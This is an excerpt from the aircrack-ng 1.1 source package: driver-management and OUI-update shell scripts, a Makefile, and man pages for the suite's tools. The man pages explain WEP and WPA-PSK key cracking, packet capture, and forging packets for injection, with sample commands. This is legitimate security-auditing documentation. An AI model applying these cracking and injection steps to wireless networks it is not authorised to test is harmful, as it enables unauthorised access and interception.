$2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for installation." NO_INSTALL=$NO NO_FIRMWARE=$NO installDriver $num ret=$? if [ $ret -eq $YES ] then echo "Installed driver \"${DNAME[$num]}\" successfully" else echo "Failed to install the driver." echo "Look through \"$LOGFILE\" for errors." fi if [ $ret == $YES ] then unloadDriver $num >/dev/null 2>/dev/null loadDriver $num if [ $? -eq $YES ] then echo "Loaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to load the driver." fi fi exit fi if [ x"$1" == "xcompile" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for compilation." NO_INSTALL=$YES NO_FIRMWARE=$NO installDriver $num ret=$? if [ $ret -eq $YES ] then echo "Compiled driver \"${DNAME[$num]}\" successfully" else echo "Failed to compile the driver." echo "Look through \"$LOGFILE\" for errors." fi if [ $ret == $YES ] then unloadDriver $num >/dev/null 2>/dev/null insertDriver $num if [ $? -eq $YES ] then echo "Inserted driver \"${DNAME[$num]}\" successfully" else echo "Failed to insert the driver." fi fi exit fi if [ x"$1" == "xinstall_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for installation." NO_INSTALL=$NO NO_FIRMWARE=$YES installStack $num ret=$? if [ $ret -eq $YES ] then echo "Installed stack \"${SNAME[$num]}\" successfully" echo "You need to reload the complete stack, or just reboot." else echo "Failed to install the stack." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xinstall_firmware" ] then if [ x$2 == "x" ] then echo "$NO_FIRMWARE_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Firmware \"${DNAME[$num]}\" specified for installation." installFirmware $num if [ $? -eq $YES ] then echo "Installed firmware \"${DNAME[$num]}\" successfully" else echo "Failed to install the firmware." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xcompile_stack" ] then if [ x$2 == "x" ] then echo "$NO_STACK_ERROR" exit fi name2num_stack $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $SCOUNT ] 2>/dev/null then num=$2 else echo "Invalid stack!" exit fi fi echo "Stack \"${SNAME[$num]}\" specified for compilation." NO_INSTALL=$YES NO_FIRMWARE=$YES installStack $num ret=$? if [ $ret -eq $YES ] then echo "Compiled stack \"${SNAME[$num]}\" successfully" echo "You need to insert the Stack manually" else echo "Failed to compile the stack." echo "Look through \"$LOGFILE\" for errors." fi exit fi if [ x"$1" == "xload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for loading." loadDriver $num if [ $? -eq $YES ] then echo "Loaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to load the driver." fi exit fi if [ x"$1" == "xinsert" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for inserting." insertDriver $num if [ $? -eq $YES ] then echo "Inserted driver \"${DNAME[$num]}\" successfully" else echo "Failed to insert the driver." fi exit fi if [ x"$1" == "xunload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for unloading." unloadDriver $num if [ $? -eq $YES ] then echo "Unloaded driver \"${DNAME[$num]}\" successfully" else echo "Failed to unload the driver." fi exit fi if [ x"$1" == "xreload" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver \"${DNAME[$num]}\" specified for reloading." unloadDriver $num if [ $? -ne $YES ] then echo "Failed to unload the driver." exit fi isLoaded $num "D" if [ $? -eq $YES ] then echo "Failed to unload the driver." exit fi loadDriver $num if [ $? -ne $YES ] then echo "Failed to reload the driver." exit else echo "Reloaded driver \"${DNAME[$num]}\" successfully" fi exit fi if [ x"$1" == "xdetails" ] then if [ x$2 == "x" ] then echo "$NO_DRIVER_ERROR" exit fi name2num $2 num=$? if [ $num -eq $ERROR ] then if [ $2 -ge 0 -a $2 -lt $DCOUNT ] 2>/dev/null then num=$2 else echo "Invalid driver!" exit fi fi echo "Driver details for: \"${DNAME[$num]}\"" echo printf "Compiled into kernel:\t" isInKernel $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Installed:\t\t" isInstalled $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Loaded:\t\t\t" isLoaded $num "D" if [ $? -eq $YES ] then echo "YES" else echo "No" fi printf "Firmware installed:\t" isInstalledFirmware $num ret=$? if [ $ret -eq $YES ] then echo "YES" else if [ $ret -eq $NO ] then echo "No" else echo "N/A" fi fi echo echo "Modules:" echo echo "Modules:" for i in ${DMODULES[$num]} do i="`echo "$i" | sed 's/-/_/'`" echo -n "$i " done echo echo echo "Files:" for i in ${DMODULES[$num]} do mfile="`$MODPROBE -l | grep \/$i\.ko`" if [ x"$mfile" != x ] then mtime="`ls -l $mfile | awk '{print $6" "$7}'`" echo $mfile $mtime fi done echo modinfo ${DMODULE[$num]} 2>/dev/null | grep "^ver\|^depends" echo if [ x${DSITE[$num]} != x ] then echo "For more information see:" echo ${DSITE[$num]} fi exit fi usage aircrack-ng-1.1/scripts/airodump-ng-oui-update0000644000000000000000000000315311237112073020137 0ustar rootroot#!/bin/bash CURL=`which curl 2>/dev/null` WGET=`which wget 2>/dev/null` OUI_DOWNLOAD_URL="http://standards.ieee.org/regauth/oui/oui.txt" OUI_PATH="/usr/local/etc/aircrack-ng" AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt" OUI_IEEE="${OUI_PATH}/oui.txt" USERID="" # Make sure the user is root if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID = "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi if [ ! -d "${OUI_PATH}" ]; then mkdir -p ${OUI_PATH} fi if [ ${CURL} ] || [ ${WGET} ]; then # Delete previous partially downloaded file (if the script was aborted) rm -f ${OUI_IEEE} >/dev/null 2>/dev/null # Download it echo "[*] Downloading IEEE OUI file..." if [ ${WGET} ]; then ${WGET} ${OUI_DOWNLOAD_URL} -O ${OUI_IEEE} >/dev/null 2>/dev/null else ${CURL} ${OUI_DOWNLOAD_URL} > ${OUI_IEEE} 2>/dev/null fi if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to download OUI list, aborting..." exit 1 fi # Parse the downloaded OUI list echo "[*] Parsing OUI file..." # Keep the previous file if [ -f "${OUI_DOWNLOADED}" ]; then mv ${AIRODUMP_NG_OUI} ${OUI}-old fi # Parse it grep "(hex)" ${OUI_IEEE} > ${AIRODUMP_NG_OUI} if [ "${?}" -ne 0 ]; then echo "[*] Error: Failed to parse OUI, aborting..." exit 1 fi # Cleanup rm -f ${OUI_IEEE} echo "[*] Airodump-ng OUI file successfully updated" else if [ -f "${OUI}" ]; then echo "[*] Please install curl or wget to update OUI list" else echo "[*] Please install curl or wget to install OUI list" fi exit 1 fi exit 0 aircrack-ng-1.1/scripts/Makefile0000644000000000000000000000060011232434622015354 0ustar rootrootAC_ROOT = .. include $(AC_ROOT)/common.mak SCRIPTS = airmon-ng airdriver-ng airodump-ng-oui-update default: all all: @echo Nothing to do install: install -m 755 $(SCRIPTS) $(DESTDIR)$(sbindir) uninstall: -rm -f $(DESTDIR)$(sbindir)/airmon-ng -rm -f $(DESTDIR)$(sbindir)/airdriver-ng -rm -f $(DESTDIR)$(sbindir)/airodump-ng-oui-update clean: @echo Nothing to do aircrack-ng-1.1/manpages/0000755000000000000000000000000011364675642014043 5ustar rootrootaircrack-ng-1.1/manpages/aircrack-ng.10000644000000000000000000001150611364647470016307 0ustar rootroot.TH AIRCRACK-NG 1 "April 2010" "Version 1.1" .SH NAME aircrack-ng - a 802.11 WEP / WPA-PSK key cracker .SH SYNOPSIS .B aircrack-ng [options] <.cap / .ivs file(s)> .SH DESCRIPTION .BI aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. .br It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This part of the aircrack-ng suite determines the WEP key using two fundamental methods. The first method is via the PTW approach (Pyshkin, Tews, Weinmann). The main advantage of the PTW approach is that very few data packets are required to crack the WEP key. The second method is the FMS/KoreK method. The FMS/KoreK method incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. .br Additionally, the program offers a dictionary method for determining the WEP key. For cracking WPA/WPA2 pre-shared keys, a wordlist (file or stdin) or an airolib-ng has to be used. .SH OPTIONS .TP .I -H, --help Shows the help screen. .PP .TP .B Common options: .TP .I -a Force the attack mode, 1 or wep for WEP and 2 or wpa for WPA-PSK. .TP .I -e Select the target network based on the ESSID. This option is also required for WPA cracking if the SSID is cloacked. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -b Select the target network based on the access point MAC address. .TP .I -p Set this option to the number of CPUs to use (only available on SMP systems). By default, it uses all available CPUs .TP .I -q If set, no status information is displayed. .TP .I -C Merges all those APs MAC (separated by a comma) into a virtual one. .TP .I -l Write the key into a file. .PP .TP .B Static WEP cracking options: .TP .I -c Search alpha-numeric characters only. .TP .I -t Search binary coded decimal characters only. .TP .I -h Search the numeric key for Fritz!BOX .TP .I -d Specify mask of the key. For example: A1:XX:CF .TP .I -m Only keep the IVs coming from packets that match this MAC address. Alternatively, use \-m ff:ff:ff:ff:ff:ff to use all and every IVs, regardless of the network (this disables ESSID and BSSID filtering). .TP .I -n Specify the length of the key: 64 for 40-bit WEP, 128 for 104-bit WEP, etc., until 512 bits of length. The default value is 128. .TP .I -i Only keep the IVs that have this key index (1 to 4). The default behaviour is to ignore the key index in the packet, and use the IV regardless. .TP .I -f By default, this parameter is set to 2. Use a higher value to increase the bruteforce level: cracking will take more time, but with a higher likelihood of success. .TP .I -k There are 17 KoreK attacks. Sometimes one attack creates a huge false positive that prevents the key from being found, even with lots of IVs. Try \-k 1, \-k 2, ... \-k 17 to disable each attack selectively. .TP .I -x or -x0 Disable last keybytes bruteforce (not advised). .TP .I -x1 Enable last keybyte bruteforcing (default) .TP .I -x2 Enable last two keybytes bruteforcing. .TP .I -X Disable bruteforce multithreading (SMP only). .TP .I -s Shows ASCII version of the key at the right of the screen. .TP .I -y This is an experimental single brute-force attack which should only be used when the standard attack mode fails with more than one million IVs. .TP .I -z Uses PTW (Andrei Pyshkin, Erik Tews and Ralf-Philipp Weinmann) attack (default attack). .TP .I -P PTW debug: 1 Disable klein, 2 PTW. .TP .I -K Use KoreK attacks instead of PTW. .TP .I -D WEP decloak mode. .TP .I -1 Run only 1 try to crack key with PTW. .TP .I -M Specify maximum number of IVs to use. .PP .TP .B WPA-PSK cracking options: .TP .I -w Path to a dictionary file for wpa cracking. Specify "-" to use stdin. Here is a list of wordlists: http://www.aircrack-ng.org/doku.php?id=faq#where_can_i_find_good_wordlists .I -r Path to the airolib-ng database. Cannot be used with '-w'. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airodump-ng.10000644000000000000000000002571111364647470016353 0ustar rootroot.TH AIRODUMP-NG 1 "April 2010" "Version 1.1" .SH NAME airodump-ng - a wireless packet capture tool for aircrack-ng .SH SYNOPSIS .B airodump-ng [options] .SH DESCRIPTION .BI airodump-ng is used for packet capturing of raw 802.11 frames for the intent of using them with aircrack-ng. If you have a GPS receiver connected to the computer, airodump-ng is capable of logging the coordinates of the found access points. Additionally, airodump-ng writes out a text file containing the details of all access points and clients seen. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -i, --ivs It only saves IVs (only useful for cracking). If this option is specified, you have to give a dump prefix (\-\-write option) .TP .I -g, --gpsd Indicate that airodump-ng should try to use GPSd to get coordinates. .TP .I -w , --write Is the dump file prefix to use. If this option is not given, it will only show data on the screen. Beside this file a CSV file with the same filename as the capture will be created. .TP .I -e, --beacons It will record all beacons into the cap file. By default it only records one beacon for each network. .TP .I -u , --update Delay seconds delay between display updates (default: 1 second). Useful for slow CPU. .TP .I --showack Prints ACK/CTS/RTS statistics. Helps in debugging and general injection optimization. It is indication if you inject, inject too fast, reach the AP, the frames are valid encrypted frames. Allows to detect "hidden" stations, which are too far away to capture high bitrate frames, as ACK frames are sent at 1Mbps. .TP .I -h Hides known stations for \-\-showack. .TP .I --berlin Time before removing the AP/client from the screen when no more packets are received (Default: 120 seconds). See airodump-ng source for the history behind this option ;). .TP .I -c [,[,...]], --channel [,[,...]] Indicate the channel(s) to listen to. By default airodump-ng hop on all 2.4GHz channels. .TP .I -b , --band Indicate the band on which airodump-ng should hop. It can be a combination of 'a', 'b' and 'g' letters ('b' and 'g' uses 2.4GHz and 'a' uses 5GHz). Incompatible with --channel option. .TP .I -s , --cswitch Defines the way airodump-ng sets the channels when using more than one card. Valid values: 0, 1 or 2. .TP .I -r Reads packet from a file. .TP .I -x Active Scanning Simulation (send probe requests and parse the probe responses). .TP .I --output-format Define the formats to use (separated by a comma). Possible values are: pcap, ivs, csv, gps, kismet, netxml. The default values are: pcap, csv, kismet, kismet-newcore. 'pcap' is for recording a capture in pcap format, 'ivs' is for ivs format (it is a shortcut for --ivs). 'csv' will create an airodump-ng CSV file, 'kismet' will create a kismet csv file and 'kismet-newcore' will create the kismet netxml file. 'gps' is a shortcut for --gps. .br Theses values can be combined with the exception of ivs and pcap. .PP .B Filter options: .TP .I -t , --encrypt It will only show networks matching the given encryption. May be specified more than once: '\-t OPN \-t WPA2' .TP .I -d , --bssid It will only show networks, matching the given bssid. .TP .I -m , --netmask It will only show networks, matching the given bssid ^ netmask combination. Need \-\-bssid (or \-d) to be specified. .TP .I -a It will only show associated clients. .SH INTERACTION .PP .BI airodump-ng can receive and interpret key strokes while running. The following list describes the currently assigned keys and supposed actions: .TP .I a Select active areas by cycling through these display options: AP+STA; AP+STA+ACK; AP only; STA only .TP .I d Reset sorting to defaults (Power) .TP .I i Invert sorting algorithm .TP .I m Mark the selected AP or cycle through different colors if the selected AP is already marked .TP .I r (De-)Activate realtime sorting - applies sorting algorithm everytime the display will be redrawn .TP .I s Change column to sort by, which currently includes: First seen; BSSID; PWR level; Beacons; Data packets; Packet rate; Channel; Max. data rate; Encryption; Strongest Ciphersuite; Strongest Authentication; ESSID .TP .I SPACE Pause display redrawing/ Resume redrawing .TP .I TAB Enable/Disable scrolling through AP list .TP .I UP Select the AP prior to the currently marked AP in the displayed list if available .TP .I DOWN Select the AP after the currently marked AP if available .PP If an AP is selected or marked, all the connected stations will also be selected or marked with the same color as the corresponding Access Point. .SH EXAMPLES .B airodump-ng \-\-band bg ath0 .PP Here is an example screenshot: .PP ----------------------------------------------------------------------- .br CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ BAT: 2 hours 10 mins ][ WPA handshake: 00:14:6C:7E:40:80 .br .PP BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID .br .PP 00:09:5B:1C:AA:1D 11 16 10 0 0 11 54. OPN .br 00:14:6C:7A:41:81 34 100 57 14 1 9 11 WEP WEP bigbear .br 00:14:6C:7E:40:80 32 100 752 73 2 9 54 WPA TKIP PSK teddy .br .PP BSSID STATION PWR Rate Lost Packets Probes .br .PP 00:14:6C:7A:41:81 00:0F:B5:32:31:31 51 11-11 2 14 bigbear .br (not associated) 00:14:A4:3F:8D:13 19 11-11 0 4 mossy .br 00:14:6C:7A:41:81 00:0C:41:52:D1:D1 \-1 11-2 0 5 bigbear .br 00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 36-24 0 99 teddy .br ----------------------------------------------------------------------- .br .PP .TP .I BSSID MAC address of the access point. In the Client section, a BSSID of "(not associated)" means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with. .TP .I PWR Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal level reporting. .TP .I RXQ Only shown when on a fixed channel. Receive Quality as measured by the percentage of packets (management and data frames) successfully received over the last 10 seconds. It's measured over all management and data frames. That's the clue, this allows you to read more things out of this value. Lets say you got 100 percent RXQ and all 10 (or whatever the rate) beacons per second coming in. Now all of a sudden the RXQ drops below 90, but you still capture all sent beacons. Thus you know that the AP is sending frames to a client but you can't hear the client nor the AP sending to the client (need to get closer). Another thing would be, that you got a 11MB card to monitor and capture frames (say a prism2.5) and you have a very good position to the AP. The AP is set to 54MBit and then again the RXQ drops, so you know that there is at least one 54MBit client connected to the AP. .TP .I Beacons Number of beacons sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far. .TP .I #Data Number of captured data packets (if WEP, unique IV count), including data broadcast packets. .TP .I #/s Number of data packets per second measure over the last 10 seconds. .TP .I CH Channel number (taken from beacon packets). Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference. .TP .I MB Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. 'e' indicates that the network has QoS (802.11e) enabled. .TP .I ENC Encryption algorithm in use. OPN = no encryption,"WEP?" = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP or MGT is present. .TP .I CIPHER The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit. .TP .I AUTH The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP). .TP .I ESSID The so-called "SSID", which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests. .TP .I STATION MAC address of each associated station or stations searching for an AP to connect with. Clients not currently associated with an AP have a BSSID of "(not associated)". .TP .I Rate This is only displayed when using a single channel. The first number is the last data rate from the AP (BSSID) to the Client (STATION). The second number is the last data rate from Client (STATION) to the AP (BSSID). .TP .I Lost It means lost packets coming from the client. To determine the number of packets lost, there is a sequence field on every non-control frame, so you can subtract the second last sequence number from the last sequence number and you know how many packets you have lost. .TP .I Packets The number of data packets sent by the client. .TP .I Probes The ESSIDs probed by the client. These are the networks the client is trying to connect to if it is not currently connected. .PP The first part is the detected access points. The second part is a list of detected wireless clients, stations. By relying on the signal power, one can even physically pinpoint the location of a given station. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/ivstools.10000644000000000000000000000260211364647470016005 0ustar rootroot.TH IVSTOOLS 1 "April 2010" "Version 1.1" .SH NAME ivstools - extract IVs from a pcap file or merges several .ivs files into one .SH SYNOPSIS .B ivstools --convert .B ivstools --merge .. .SH DESCRIPTION .BI ivstools is a tool designed to extract ivs (initialization vectors) from a pcap dump to an ivs file and it can also merge several ivs (initialization vectors) files into one.. .SH EXAMPLE .B ivstools --convert wep_dump.cap out.ivs .B ivstools --merge myivs1.ivs myivs2.ivs myivs3.ivs allivs.ivs .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airolib-ng.10000644000000000000000000000416011364647470016147 0ustar rootroot.TH AIROLIB-NG 1 "April 2010" "Version 1.1" .SH NAME airolib-ng - manage and create a WPA/WPA2 pre-computed hashes tables .SH SYNOPSIS .B airolib-ng [options] .SH DESCRIPTION .BI airolib-ng is a tool for the aircrack-ng suite to store and manage essid and password lists, compute their Pairwise Master Keys (PMKs) and use them in WPA/WPA2 cracking. The program uses the lightweight SQLite3 database as the storage mechanism which is available on most platforms. The SQLite3 database was selected taking in consideration platform availability plus management, memory and disk overhead. .SH DATABASE .TP .I database It is name of the database file. Optionally specify the full path. .SH OPERATION .TP .I --stats Output information about the database. .TP .I --sql Execute specified SQL statement. .TP .I --clean [all] Clean the database from old junk. When specifying 'all', it will also reduce filesize if possible and run an integrity check. .TP .I --batch Start batch-processing all combinations of ESSIDs and passwords. .TP .I --verify [all] Verify a set of randomly chosen PMKs. If 'all' is given, all invalid PMK in the database will be deleted. .TP .I --import [essid|passwd] Import a flat file as a list of ESSIDs or passwords. .TP .I import cowpatty Import a coWPAtty file. .TP .I --export cowpatty Export to a cowpatty file. .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airmon-ng.10000644000000000000000000000361211364647470016014 0ustar rootroot.TH AIRMON-NG 1 "April 2010" "Version 1.1" .SH NAME airmon-ng - bash script designed to turn wireless cards into monitor mode. .SH SYNOPSIS .B airmon-ng [channel] .B airmon-ng [kill] .SH DESCRIPTION .BI airmon-ng is script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode. Entering the airmon-ng command without parameters will show the interfaces status. It can list/kill programs that can interfere with the wireless card and set the right sources in /etc/kismet/kismet.conf too. .SH OPTIONAL PARAMETERS .PP .TP .I start [channel] Enable monitor mode on an interface (and specify a channel). Note: Madwifi-ng is a special case, 'start' has to be used on wifi interfaces and 'stop' on ath interfaces. .I stop Disable monitor mode and go back to managed mode (except for madwifi-ng where it kills the ath VAP). .TP .I check [kill] List all possible programs that could interfere with the wireless card. If 'kill' is specified, it will try to kill all of them. .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airdriver-ng.10000644000000000000000000000352111364647470016515 0ustar rootroot.TH AIRDRIVER-NG 1 "April 2010" "Version 1.1" .SH NAME airdriver-ng - automatically install/uninstall and patch drivers and 802.11 stacks .SH SYNOPSIS .B airdriver-ng [drivernumber] .SH DESCRIPTION .BI airdriver-ng is a script that provides status information about the wireless drivers on your system plus the ability to load and unload the drivers. Additionally, airdriver-ng allows you to install and uninstall drivers complete with the patches required for monitor and injection modes. Plus a number of other functions. .SH COMMAND .PP .TP .I supported Lists all supported drivers .TP .I kernel Lists all in-kernel drivers .TP .I installed Lists all installed drivers .TP .I loaded Lists all loaded drivers .TP .I load Loads a driver .TP .I unload Unloads a driver .TP .I reload Reloads a driver .TP .I install Installs a driver .TP .I remove Removes a driver .TP .I remove_stack Removes a stack .TP .I install_stack Installs a stack .TP .I details Prints driver details .TP .I detect Detects wireless cards .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/packetforge-ng.10000644000000000000000000000470611364647470017026 0ustar rootroot.TH PACKETFORGE-NG 1 "April 2010" "Version 1.1" .SH NAME packetforge-ng - forge packets: ARP, UDP, ICMP or custom packets. .SH SYNOPSIS .B packetforge-ng .SH DESCRIPTION .BI packetforge-ng is a tool to create encrypted packets that can subsequently be used for injection. You may create various types of packets such as arp requests, UDP, ICMP and custom packets. The most common use is to create ARP requests for subsequent injection. .br To create an encrypted packet, you must have a PRGA (pseudo random genration algorithm) file. This is used to encrypt the packet you create. This is typically obtained from aireplay-ng chopchop or fragmentation attacks. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -p Set frame control word (hex) .TP .I -a Set Access Point MAC addres .TP .I -c Set Destination MAC address .TP .I -h Set Source MAC address .TP .I -j set FromDS bit .TP .I -o clear ToDS bit .TP .I -e disable WEP encryption .TP .I -k Set source IP (and port) .TP .I -l Set destination IP (and port) .TP .I -w Write packet to this pcap file .TP .I -r Read packet from this pcap file .TP .I -y Read PRGA from this file .TP .I -t Set Time To Live in IP-Header .TP .I -s Set size of the generated null packet. .TP .I -0, --arp Forge an ARP packet .TP .I -1, --udp Forge an UDP packet .TP .I -2, --icmp Forge an ICMP packet .TP .I -3, --null Forge a llc null packet .TP .I -9, --custom Build a custom packet, requires \-r to read an unencrypted frame out of a pcap file. .SH EXAMPLE .B packetforge-ng \-y test.xor \-a 00:09:5b:12:40:cc \-h 00:10:2a:cb:30:14 \-k 192.168.1.100 \-l 192.168.1.1 \-w arp-request.cap .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On 